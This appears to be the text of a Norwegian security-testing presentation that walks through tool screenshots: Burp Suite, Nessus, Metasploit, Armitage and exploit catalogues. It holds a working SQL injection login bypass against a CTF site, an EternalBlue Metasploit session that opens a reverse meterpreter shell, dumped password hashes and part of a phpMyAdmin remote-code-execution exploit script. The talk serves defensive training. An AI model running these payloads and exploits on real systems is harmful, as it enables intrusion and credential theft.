52	2	14:03:51 22 Aug 2022	Issue found	? Source code disclosure	https://ctf.kins.no /themes/
51	2	14:03:50 22 Aug 2022	Issue found	i Cacheable HTTPS response	https://incoming.telemetry.mozilla.org /submit/t
50	2	14:03:50 22 Aug 2022	Issue found	i Cacheable HTTPS response	https://ctf.kins.no /
49	2	14:03:50 22 Aug 2022	Issue found	! TLS cookie without secure flag set	https://ctf.kins.no /
48	2	14:03:49 22 Aug 2022	Issue found	! Content type incorrectly stated	https://download-installer.mozilla.net /pub/firefox
47	2	14:03:49 22 Aug 2022	Issue found	i Cookie scoped to parent domain	https://www.google.com /complete
46	2	14:03:49 22 Aug 2022	Issue found	! Content type incorrectly stated	https://tracking-protect.mozilla.org /
45	2	14:03:49 22 Aug 2022	Issue found	i Cacheable HTTPS response	https://download-installer.mozilla.net /pub/firefox
44	2	14:03:49 22 Aug 2022	Issue found	i Cacheable HTTPS response	https://tracking-protect.mozilla.org /
43	2	14:03:49 22 Aug 2022	Issue found	i Cookie without HttpOnly flag set	https://www.google.com /complete
42	2	14:03:49 22 Aug 2022	Issue found	! Strict transport security not enforced	https://tracking-protect.mozilla.org /base-cryptographic

Event log

[Filter](#) [Critical](#) [Error](#) [Info](#) [Debug](#) [Search...](#)

Time	Type	Source	Message
14:03:48 22 Aug 2022	Info	Proxy	www.google.com is using HTTP/2
14:03:41 22 Aug 2022	Info	Proxy	download-installer.cdn.mozilla.net is using HTTP/2
14:03:39 22 Aug 2022	Info	Proxy	content-signature-2.cdn.mozilla.net is using HTTP/2
14:03:39 22 Aug 2022	Info	Proxy	incoming.telemetry.mozilla.org is using HTTP/2
14:03:39 22 Aug 2022	Info	Proxy	safebrowsing.googleapis.com is using HTTP/2
14:03:39 22 Aug 2022	Info	Proxy	aus5.mozilla.org is using HTTP/2
14:03:39 22 Aug 2022	Info	Proxy	contile.services.mozilla.com is using HTTP/2
14:03:29 22 Aug 2022	Info	Proxy	Proxy service started on 127.0.0.1:8080

Advisory [Request](#) [Response](#)

! **TLS cookie without secure flag set**

Issue: **TLS cookie without secure flag set**
Severity: Medium
Confidence: Firm
Host: <https://ctf.kins.no>
Path: /

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

- session

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain that issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form <http://example.com:443/> to perform the same attack.

#	Host ^	Method	URL	Params	Edited	Status	Length	MIME type	Extension	Title	Comment	TLS	IP	Cookies	Time	Listener port	
78	https://ctf.kins.no	GET	/			200	4524	HTML		KiNS CTF 2022		✓	172.104.157.194		14:13:13 22 A... 8080		
82	https://ctf.kins.no	GET	/themes/core/static/js/vendor.bundle....	✓		200	1429199	script	js			✓	172.104.157.194		14:13:13 22 A... 8080		
83	https://ctf.kins.no	GET	/themes/core/static/js/core.min.js?d=3...	✓		200	552	script	js			✓	172.104.157.194		14:13:13 22 A... 8080		
84	https://ctf.kins.no	GET	/themes/core/static/js/pages/main.min....	✓		200	52176	script	js			✓	172.104.157.194		14:13:13 22 A... 8080		
85	https://ctf.kins.no	GET	/themes/core/static/js/helpers.min.js?d...	✓		200	5957	script	js			✓	172.104.157.194		14:13:13 22 A... 8080		
87	https://ctf.kins.no	GET	/events			403	4153	HTML		KiNS CTF 2022		✓	172.104.157.194		14:13:14 22 A... 8080		
88	https://ctf.kins.no	GET	/users			200	8047	HTML		KiNS CTF 2022		✓	172.104.157.194		14:13:18 22 A... 8080		
91	https://ctf.kins.no	GET	/events			403	4153	HTML		KiNS CTF 2022		✓	172.104.157.194		14:13:19 22 A... 8080		
92	https://ctf.kins.no	GET	/teams			200	7145	HTML		KiNS CTF 2022		✓	172.104.157.194		14:13:24 22 A... 8080		
96	https://ctf.kins.no	GET	/themes/core/static/js/vendor.bundle....	✓		200	1429199	script	js			✓	172.104.157.194		14:13:25 22 A... 8080		
97	https://ctf.kins.no	GET	/themes/core/static/js/core.min.js?d=6...	✓		200	552	script	js			✓	172.104.157.194		14:13:25 22 A... 8080		
98	https://ctf.kins.no	GET	/themes/core/static/js/helpers.min.js?d...	✓		200	5957	script	js			✓	172.104.157.194		14:13:25 22 A... 8080		
99	https://ctf.kins.no	GET	/themes/core/static/js/pages/main.min....	✓		200	52176	script	js			✓	172.104.157.194		14:13:25 22 A... 8080		
101	https://ctf.kins.no	GET	/events			403	4153	HTML		KiNS CTF 2022		✓	172.104.157.194		14:13:25 22 A... 8080		
102	https://ctf.kins.no	GET	/scoreboard			200	5270	HTML		KiNS CTF 2022		✓	172.104.157.194		14:13:26 22 A... 8080		
103	https://ctf.kins.no	GET	/themes/core/static/js/pages/scorebo...	✓		200	54635	script	js			✓	172.104.157.194		14:13:27 22 A... 8080		
104	https://ctf.kins.no	GET	/themes/core/static/js/echarts.bundle....	✓		200	491806	script	js			✓	172.104.157.194		14:13:27 22 A... 8080		
105	https://ctf.kins.no	GET	/events			403	4153	HTML		KiNS CTF 2022		✓	172.104.157.194		14:13:27 22 A... 8080		
106	https://ctf.kins.no	GET	/api/v1/scoreboard/top/10			200	1556	JSON				✓	172.104.157.194		14:13:27 22 A... 8080		
107	https://ctf.kins.no	GET	/challenges			302	700	HTML		Redirecting...		✓	172.104.157.194		14:13:35 22 A... 8080		
108	https://ctf.kins.no	GET	/login?next=%62Fchallenges%3F	✓		200	5107	HTML		KiNS CTF 2022		✓	172.104.157.194		14:13:35 22 A... 8080		
112	https://ctf.kins.no	GET	/themes/core/static/js/core.min.js?d=3...	✓		200	552	script	js			✓	172.104.157.194		14:13:35 22 A... 8080		
113	https://ctf.kins.no	GET	/themes/core/static/js/helpers.min.js?d...	✓		200	5957	script	js			✓	172.104.157.194		14:13:35 22 A... 8080		
114	https://ctf.kins.no	GET	/themes/core/static/js/pages/main.min....	✓		200	52176	script	js			✓	172.104.157.194		14:13:35 22 A... 8080		

Request

Pretty Raw Hex ⌂ \n ⌂

```
1 GET / HTTP/1.1
2 Host: ctf.kins.no
3 Cookie: session=48c89fd2-ceb2-425b-bc43-f4662663993f.UkKcrgbQHJPnY16E800IJGVe52U
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Upgrade-Insecure-Requests: 1
9 Sec-Fetch-Dest: document
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Site: cross-site
12 Te: trailers
13 Connection: close
14
15
```

Response

Pretty Raw Hex Render ⌂ \n ⌂

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0 (Ubuntu)
3 Date: Mon, 22 Aug 2022 12:13:13 GMT
4 Content-Type: text/html; charset=utf-8
5 Connection: close
6 Strict-Transport-Security: max-age=315360000; includeSubDomains
7 X-Frame-Options: SAMEORIGIN
8 X-XSS-Protection: 1; mode=block
9 X-Content-Type-Options: nosniff
10 Referrer-Policy: strict-origin-when-cross-origin
11 Content-Length: 4147
12
13 <!DOCTYPE html>
14 <html>
15   <head>
16     <title>
17       KiNS CTF 2022
18     </title>
19     <meta charset="utf-8">
20     <meta name="viewport" content="width=device-width, initial-scale=1.0">
21     <link rel="shortcut icon" href="/themes/core/static/img/favicon.ico?d=3b87b309" type="image/x-icon">
22     <link rel="stylesheet" href="/themes/core/static/css/fonts.min.css?d=3b87b309">
23     <link rel="stylesheet" href="/themes/core/static/css/main.min.css?d=3b87b309">
24     <link rel="stylesheet" href="/themes/core/static/css/core.min.css?d=3b87b309">
25
26
```

Inspector

Request Attributes 2 ▾

Request Cookies 1 ▾

Request Headers 12 ▾

Response Headers 10 ▾

0 matches
0 matches
0 matches

[Dashboard](#) [Target](#) [Proxy](#) [Intruder](#) [Repeater](#) [Sequencer](#) [Decoder](#) [Comparer](#) [Logger](#) [Extender](#) [Project options](#) [User options](#) [Learn](#)

1 x

2 x

...

[Positions](#) [Payloads](#) [Resource Pool](#) [Options](#)

Start attack

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: 1 Payload count: 3,424

Payload type: Simple list Request count: 3,424

Attack Save Columns 3. Intruder attack of https://ctf.kins.no:8008 - Temporary attack - Not saved to project file

Results Positions Payloads Resource Pool Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
0		200			770	
1	!@#\$%	200			770	
2	!@#\$%^	200			770	
3	!@#\$%^&	200			770	
4	!@#\$%^&*	200			770	
5	!root	200			770	
6	\$SRV	200			770	
7	\$secure\$	200			770	
8	*3noguru	200			770	
9	@#\$%^&	200			770	
10	A.M.I	200			770	
11	ABC123	200			770	
12	ACCESS	200			770	...

Request Response

Pretty Raw Hex ↻ ⌂ ⌂ ⌂

```
1 POST / HTTP/1.1
2 Host: ctf.kins.no:8008
3 Cookie: session=48c89fd2-ceb2-425b-bc43-f4662663993f.UkKcrghQHJPnY16ESOOIJGVe52U
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 41
10 Origin: https://ctf.kins.no:8008
11 Referer: https://ctf.kins.no:8008/
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: ?1
17 Te: trailers
```

0 matches

Paused

Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste !@#\$%
Load ... !@#\$%^
Remove !@#\$%^&
Clear !@#\$%^&*
Deduplicate !root
SSRV
\$secure\$
Add Enter a new item
Add from list ...

Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Add Enabled Rule
Edit
Remove
Up
Down

Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission.

 URL-encode these characters: `\=;<>?+&^;"{}|^`#`

Dashboard Target Proxy Intruder **Repeater** Sequencer Decoder Comparer Logger Extender Project options User options Learn

1 x ...

Send Cancel < | > | Search... 0 matches

Target: <https://ctf.kins.no:8008> HTTP/1

Request

Pretty Raw Hex

```
1 POST / HTTP/1.1
2 Host: ctf.kins.no:8008
3 Cookie: session=48c89fd2-ceb2-425b-bc43-f4662663993f.UkKcrgbQHJPnY16ESOOIJGVe52U
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 41
10 Origin: https://ctf.kins.no:8008
11 Referer: https://ctf.kins.no:8008/
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: ?1
17 Te: trailers
18 Connection: close
19 uid=' or 1=1;#&pwd=123456&submit=Logg+inn
20 uid=' or 1=1;#&pwd=123456&submit=Logg+inn
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0 (Ubuntu)
3 Date: Mon, 22 Aug 2022 12:08:21 GMT
4 Content-Type: text/html; charset=UTF-8
5 Content-Length: 117
6 Connection: close
7 X-Powered-By: PHP/8.0.21
8 Vary: Accept-Encoding
9
10<html>
11
12<body>
13<p>
14    Det var ikke s&aring; vanskelig, her er flagget: FLAG(sql_injection_101)
15</p>
16</body>
17
18
```

Inspector

Selection 41 ^

Selected text

```
uid=' or 1=1;#&pwd=123456&submit=Logg+inn
```

Decoded from: URL encoding

```
uid=' or 1=1;#&pwd=123456&submit=Logg+inn
```

Request Attributes 2 ▾

Request Query Parameters 0 ▾

Request Body Parameters 3 ▾

Request Cookies 1 ▾

Request Headers 17 ▾

Response Headers 7 ▾

Search... 0 matches

Search... 0 matches

Done 333 bytes | 122 millis

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn

Comparer



This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select the comparison you want to perform.

Select item 1:

#	Length	Data	
1	717	POST / HTTP/1.1 Host: ctf.kins.no:8008Cookie: session=48c89fd2-ceb2-425b-bc43-f4662663993f.UkKcrgbQHJPnYl6ES0OIJGVe52UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 35Origin: https://ctf.kins.no:8008Referer: https://ctf.kins.no:8008/Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: close	<input type="button" value="Paste"/> <input type="button" value="Load"/> <input type="button" value="Remove"/> <input type="button" value="Clear"/>
2	723	POST / HTTP/1.1 Host: ctf.kins.no:8008Cookie: session=48c89fd2-ceb2-425b-bc43-f4662663993f.UkKcrgbQHJPnYl6ES0OIJGVe52UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 41Origin: https://ctf.kins.no:8008Referer: https://ctf.kins.no:8008/Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: closeuid=' or 1=1#&pwd=123456&submit=Logg+inn	

Word compare of #1 and #2 (3 differences)

Length: 717 Length: 723

Text Hex

Text Hex

```
POST / HTTP/1.1
Host: ctf.kins.no:8008
Cookie: session=48c89fd2-ceb2-425b-bc43-f4662663993f.UkKcrgbQHJPnYl6ES0OIJGVe52U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: https://ctf.kins.no:8008
Referer: https://ctf.kins.no:8008/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
```

```
POST / HTTP/1.1
Host: ctf.kins.no:8008
Cookie: session=48c89fd2-ceb2-425b-bc43-f4662663993f.UkKcrgbQHJPnYl6ES0OIJGVe52U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: https://ctf.kins.no:8008
Referer: https://ctf.kins.no:8008/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
uid=' or 1=1#&pwd=123456&submit=Logg+inn
```

Select item 2:

1
2

Key: Modified Deleted Added

Sync views

Compare ...

Words

Bytes

Extended BApp Store | One place X +

apps.burpsuite.guide

Burp Suite Extensions

The extended BApp store for all your Burp extension needs!

Send your Burp extensions

Follow @BurpSuiteGuide 3,192 followers

f t in g w Y m

Search Here

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Burp Suite Pro

Open Source

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Tags List

Search Tags

scanner custom-issues jython headers jwt session csrf passive-checks payloads encoding decoding jruby aes realtime encryption decryption aws azure gcp bucket s3 misconfiguration censys shodan anti-csrf referrer header passive subdomain attack-surface api asp.net java rails django authorization authentication xml json regex proxy owasp wstg cloud active report stacktrace beanstack.io amf beanshell bookmark radamsa fuzzing frida instrumentation android broken-links selenium browser repeater ruby scripting poc bugpoc.com burpbounty.net collaboration xmpp jabber crawljax junit hash javascript static slack crypto rsa des translate

Active Scan++

Extends Burp's active and passive scanning capabilities.

scanner

Add & Track Custom Issues

Create custom issues in Burp Scanner results, using predefined issue templates.

custom-issues scanner jython

Add Custom Header

Add or update custom HTTP headers from session handling rules. Useful for JWT.

headers jwt session

Additional CSRF Checks

Performs additional checks for CSRF vulnerabilities in a semi-automated manner.

csrf jython

Additional Scanner Checks

Provides some additional passive Scanner checks.

scanner passive-checks jython

Adhoc Payload Processors

Generate payload processors on the fly - without having to create individual extensions.

payloads encoding decoding jruby

AES Killer

Decrypt AES traffic on the fly

aes realtime encryption decryption

AES Payloads

Allows encryption and decryption of AES payloads in Burp Intruder and Scanner.

aes encryption decryption

Anonymous Cloud, Configuration and Collaboration

Anti-CSRF Token From Referer

Asset Discovery

Attack Surface Detector

Nessus



Nessus Professional is the most commonly-deployed vulnerability assessment solution across the industry. This solution helps you perform high-speed asset discovery, target profiling, configuration auditing, malware detection, sensitive data discovery and so much more.

Web Server


CURRENT RESULTS: TODAY AT 9:37 AM

Scans > Dashboard Hosts 2 Vulnerabilities 40 Remediations 18 History 8

Configure Launch Audit Trail Export

Current Vulnerabilities

Trending: Previous Scan



Operating System Comparison



Linux

Vulnerability Comparison




- High
- Medium
- Low
- Info

Host Count Comparison



- With auth
- New with auth

Vulnerabilities Over Time



Top Vulnerabilities

- Amazon Linux AMI: file (ALAS-2015-497)
- Amazon Linux AMI: gnupg2 (ALAS-2015-574)
- Amazon Linux AMI: kernel (ALAS-2014-455)
- Amazon Linux AMI: kernel (ALAS-2015-476)

Summary

Critical	High	Medium	Low	Info	Total
1	6	1	1	66	75

Details

Severity	Plugin Id	Name
Critical (10.0)	72704	Microsoft .NET Framework Unsupported
High (9.3)	48762	MS KB2269637: Insecure Library Loading Could Allow Remote Code Execution
High (9.3)	59915	MS KB2719662: Vulnerabilities in Gadgets Could Allow Remote Code Execution
High (9.3)	81264	MS15-011: Vulnerability in Group Policy Could Allow Remote Code Execution (3000483)
High (9.3)	87253	MS15-124: Cumulative Security Update for Internet Explorer (3116180)
High (9.0)	84742	MS KB3074162: Vulnerability in Microsoft Malicious Software Removal Tool Could Allow Elevation of Privilege
High (7.1)	76123	MS Security Advisory 2974294: Vulnerability in Microsoft Malware Protection Engine Could Allow Denial of Service
Medium (4.3)	78447	MS KB3009008: Vulnerability in SSL 3.0 Could Allow Information Disclosure (POODLE)
Low (2.6)	11457	Microsoft Windows SMB Registry : Winlogon Cached Password Weakness
Info	10150	Windows NetBIOS / SMB Remote Host Information Disclosure
Info	10394	Microsoft Windows SMB Log In Possible
Info	10395	Microsoft Windows SMB Shares Enumeration
Info	10396	Microsoft Windows SMB Shares Access
Info	10398	Microsoft Windows SMB LsaQueryInformationPolicy Function NULL Session Domain SID Enumeration
Info	10399	SMB Use Domain SID to Enumerate Users



Metasploit

The Metasploit Framework is an open source platform for developing and executing exploit code against a remote target machine.

```
shared-
folder ls
=[ metasploit v4.14.10-dev
+ --=[ 1640 exploits - 944 auxiliary - 289 post
+ --=[ 472 payloads - 40 encoders - 9 nops
+ --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]]

msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > set eternalbluepath /root/Tools/Eternalblue-Doublepulsar-Metasploit/deps
eternalbluepath => /root/Tools/Eternalblue-Doublepulsar-Metasploit/deps
msf exploit(eternalblue_doublepulsar) > set doublepulsarpath /root/Tools/Eternalblue-Doublepulsar-Metasploit/deps
doublepulsarpath => /root/Tools/Eternalblue-Doublepulsar-Metasploit/deps
msf exploit(eternalblue_doublepulsar) > set targetarchitecture x64
targetarchitecture => x64
msf exploit(eternalblue_doublepulsar) > set processinject lsass.exe
processinject => lsass.exe
msf exploit(eternalblue_doublepulsar) > set rhost 192.168.100.210
rhost => 192.168.100.210
msf exploit(eternalblue_doublepulsar) > set lhost 192.168.100.110
lhost => 192.168.100.110
msf exploit(eternalblue_doublepulsar) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(eternalblue_doublepulsar) > exploit

[*] Started reverse TCP handler on 192.168.100.110:4444
[*] 192.168.100.210:445 - Generating Eternalblue XML data
[*] 192.168.100.210:445 - Generating Doublepulsar XML data
[*] 192.168.100.210:445 - Generating payload DLL for Doublepulsar
[*] 192.168.100.210:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] 192.168.100.210:445 - Launching Eternalblue...
[+] 192.168.100.210:445 - Pwned! Eternalblue success!
[*] 192.168.100.210:445 - Launching Doublepulsar...
[*] Sending stage (1189423 bytes) to 192.168.100.210
[*] Meterpreter session 1 opened (192.168.100.110:4444 -> 192.168.100.210:49158) at 2017-05-14 14:58:48 -0400
[+] 192.168.100.210:445 - Remote code executed... 3... 2... 1...

meterpreter > sysinfo
Computer      : CLIENT-02
OS           : Windows 7 (Build 7600).
Architecture   : x64
System Language : en_US
Domain        : HACKABLE
Logged On Users : 2
Meterpreter    : x64/windows
meterpreter >
```

Armitage



Armitage is a graphical cyber attack management tool for the Metasploit Project that visualizes targets and recommends exploits.

Armitage

Armitage View Hosts Attacks Workspaces Help

ms04_011_lsass
ms04_031_netdde
ms05_039_pnp
ms06_025_rasmans_reg
ms06_025_rras
ms06_040_netapi
ms06_066_nwapi
ms06_066_nwwks
ms06_070_wkssvc
ms07_029_msdns_zonename
ms08_067_netapi
ms09_050_smb2_negotiate_func_in
ms10_061_spoolss
netidentity_xtierrpcpipe
psexec
smb_relay
timbuktu_plughntcommand_bof

► smtp
► ssh
► curl

192.168.1.203 NT AUTHORITY\SYSTEM @ XENXPSP2NTV SYSTEM @ XEN-XP-PATCHED

192.168.1.206 NT AUTHORITY\SYSTEM @ XENXPSP2NTV SYSTEM @ XEN-XP-PATCHED

192.168.1.201 NT AUTHORITY\SYSTEM @ XEN-XP-SP2 NT AUTHORITY\SYSTEM @ XEN-2K3-FUZZ

192.168.1.205 NT AUTHORITY\SYSTEM @ XEN-XP-SP2 NT AUTHORITY\SYSTEM @ XEN-2K3-FUZZ

192.168.1.204

Console X scanner/smb/smb_version X scanner/portscan/tcp X Services X Credentials X Meterpreter 1 X

user	pass	host
Administrator	81cbcea8a9af93bbaad3b435b51404ee:561...	192.168.1.201
Guest	aad3b435b51404eeaad3b435b51404ee:31...	192.168.1.201
HelpAssistant	9a6ae26408b0629ddc621c90c897b42d:07a...	192.168.1.201
SUPPORT_388945a0	aad3b435b51404eeaad3b435b51404ee:ebf...	192.168.1.201
victim	81cbcea8a9af93bbaad3b435b51404ee:561...	192.168.1.201

Export


Active Directory

Bloodhound

ADalanche

Ping Castle

ADalanche



Eskalering av rettigheter

<https://lolbas-project.github.io>

LOLBAS Star 4,658



Living Off The Land Binaries, Scripts and Libraries

For more info on the project, click on the logo.

If you want to contribute, check out our [contribution guide](#). Our [criteria list](#) sets out what we define as a LOLBin/Script/Lib.


MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation. You can see the current ATT&CK® mapping of this project on the [ATT&CK® Navigator](#).

If you are looking for UNIX binaries, please visit gtfobins.github.io.

Search among 160 binaries by name (e.g. 'MSBuild'), function (e.g. '/execute'), type (e.g. '#Script') or ATT&CK info (e.g. 'T1218')

Binary	Functions	Type	ATT&CK® Techniques
AppInstaller.exe	Download	Binaries	T1105: Ingress Tool Transfer
Aspnet_Compiler.exe	AWL bypass	Binaries	T1127: Trusted Developer Utilities Proxy Execution
At.exe	Execute	Binaries	T1053.002: At
Atbroker.exe	Execute	Binaries	T1218: System Binary Proxy Execution
Bash.exe	Execute AWL bypass	Binaries	T1202: Indirect Command Execution
Bitsadmin.exe	Alternate data streams Download Copy	Binaries	T1564.004: NTFS File Attributes T1105: Ingress Tool Transfer

GTFOBins Star 7,264



GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

The project collects legitimate [functions](#) of Unix binaries that can be abused to ~~get the f**k~~ break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

It is important to note that this is **not** a list of exploits, and the programs listed here are not vulnerable per se, rather, GTFOBins is a compendium about how to live off the land when you only have certain binaries available.

GTFOBins is a [collaborative](#) project created by [Emilio Pinna](#) and [Andrea Cardaci](#) where everyone can [contribute](#) with additional binaries and techniques.

If you are looking for Windows binaries you should visit [LOLBAS](#).

Search among 334 binaries: <binary> +<function> ...

Binary	Functions
ab	File upload File download SUID Sudo
agetty	SUID
alpine	File read SUID Sudo

<https://www.exploit-db.com/>



Verified Has App

[Filters](#) [Reset All](#)

Show [15](#)

Search:

Date	D	A	V	Title	Type	Platform	Author
2022-09-02	▼	X		WordPress Plugin Netroics Blog Posts Grid 1.0 - Stored Cross-Site Scripting (XSS)	WebApps	PHP	Luqman Hakim Zahari
2022-09-02	▼	X		WordPress Plugin Testimonial Slider and Showcase 2.2.6 - Stored Cross-Site Scripting (XSS)	WebApps	PHP	Luqman Hakim Zahari
2022-09-02	▼	X		Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass	WebApps	Hardware	Aryan Chehreghani
2022-08-09	▼	X		PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)	Remote	Multiple	UnD3sc0n0c1d0
2022-08-09	▼	X		ThingsBoard 3.3.1 'description' - Stored Cross-Site Scripting (XSS)	WebApps	Multiple	Steffen Langenfeld
2022-08-09	▼	X		ThingsBoard 3.3.1 'name' - Stored Cross-Site Scripting (XSS)	WebApps	Multiple	Steffen Langenfeld
2022-08-09	▼	X		Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS)	WebApps	PHP	Shivam Singh
2022-08-09	▼	X		Prestashop blockwishlist module 2.1.0 - SQLi	WebApps	PHP	Karthik UJ
2022-08-02	▼	X		uftpd 2.10 - Directory Traversal (Authenticated)	Remote	Linux	Aaron Esau
2022-08-01	▼	+	X	Easy Chat Server 3.1 - Remote Stack Buffer Overflow (SEH)	Remote	Windows	r00tpgg
2022-08-01	▼	X		Webmin 1.996 - Remote Code Execution (RCE) (Authenticated)	WebApps	Linux	Emir Polat
2022-08-01	▼	X		NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated)	WebApps	PHP	p1ckzi
2022-08-01	▼	X		Omnia MPX 1.5.0+tr1 - Path Traversal	Remote	Hardware	Momen Eldawakhly



```
content = r.content.decode('utf-8')
s = re.search('logged_in:(\w+)', content)
logged_in = s.group(1)
if logged_in == "false":
    print("Authentication failed")
    exit()

# get 2nd token and cookie
cookies = r.cookies
token = get_token(content)

# 3rd req: execute query
url2 = url + "/import.php"
# payload
payload = '''select 'php system("{}") ?&gt;';''' .format(command)
p = {'table': '', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)
if r.status_code != 200:
    print("Query failed")
    exit()

# 4th req: execute payload
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/.../.../.../.../.../.../.../var/lib/php/session sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
if r.status_code != 200:
    print("Exploit failed")
    exit()

# get result
content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*)\n'", content, re.DOTALL)
if s != None:
    print(s.group(1))</pre
```

Øvelse gjør mester

<https://kins.no/arrangementer/oktober-2022-sikkerhetstesting-for-kommuner-og-fylkeskommuner/>

<https://ctf.kins.no/>

<https://www.hackthebox.com/>

<https://www.vulnhub.com/>

<https://owasp.org/www-project-juice-shop/>

<https://www.youtube.com/>

Takk for meg :)